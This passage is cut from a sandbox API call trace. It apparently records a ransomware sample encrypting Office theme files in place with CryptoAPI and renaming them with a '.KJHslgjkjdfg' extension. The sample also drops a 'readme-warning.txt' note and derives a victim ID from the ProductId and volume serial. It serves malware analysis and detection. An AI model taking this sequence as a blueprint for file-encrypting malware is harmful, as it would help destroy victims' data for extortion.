lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.000] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.000] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.000] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.000] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.000] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.001] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.001] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xed34, lpOverlapped=0x0) returned 1 [0147.002] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xed40, dwBufLen=0xed40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xed40) returned 1 [0147.002] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.002] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xed40, lpOverlapped=0x0) returned 1 [0147.003] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.003] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xee14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.003] SetEndOfFile (hFile=0x118) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.007] GetProcessHeap () returned 0x2a0000 [0147.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.015] CloseHandle (hObject=0x118) returned 1 [0147.016] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.016] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.016] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.016] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.016] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.016] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.016] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.016] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.016] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.017] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.017] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.017] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.017] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.017] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.017] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.017] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.017] RegCloseKey (hKey=0x118) returned 0x0 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.017] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.017] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.017] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.017] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.018] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.018] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.018] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt") returned 83 [0147.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.019] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.020] CloseHandle (hObject=0x118) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.021] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.021] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0147.022] GetProcessHeap () returned 0x2a0000 [0147.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2ed368 [0147.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0147.023] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.023] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28a) returned 0x2f32d0 [0147.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.025] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.025] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.025] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.025] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.025] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.025] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.025] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.027] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.027] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.027] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.028] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.028] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.028] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.028] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.028] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.028] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x109d0, lpOverlapped=0x0) returned 1 [0147.029] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x109d0, dwBufLen=0x109d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x109d0) returned 1 [0147.030] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.030] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x109d0, lpOverlapped=0x0) returned 1 [0147.030] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.030] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.030] SetEndOfFile (hFile=0x118) returned 1 [0147.033] GetProcessHeap () returned 0x2a0000 [0147.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.033] GetProcessHeap () returned 0x2a0000 [0147.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.kjhslgjkjdfg")) returned 1 [0147.034] CloseHandle (hObject=0x118) returned 1 [0147.034] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0147.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.034] GetProcessHeap () returned 0x2a0000 [0147.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.034] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.034] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.034] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0147.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.036] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.036] GetProcessHeap () returned 0x2a0000 [0147.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.036] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.036] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.036] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.036] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.036] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.036] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.036] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.036] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.036] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.036] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.037] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1ad, lpOverlapped=0x0) returned 1 [0147.037] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b0) returned 1 [0147.037] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.037] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1b0, lpOverlapped=0x0) returned 1 [0147.037] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.037] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.037] SetEndOfFile (hFile=0x118) returned 1 [0147.039] GetProcessHeap () returned 0x2a0000 [0147.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.039] GetProcessHeap () returned 0x2a0000 [0147.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.kjhslgjkjdfg")) returned 1 [0147.046] CloseHandle (hObject=0x118) returned 1 [0147.046] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 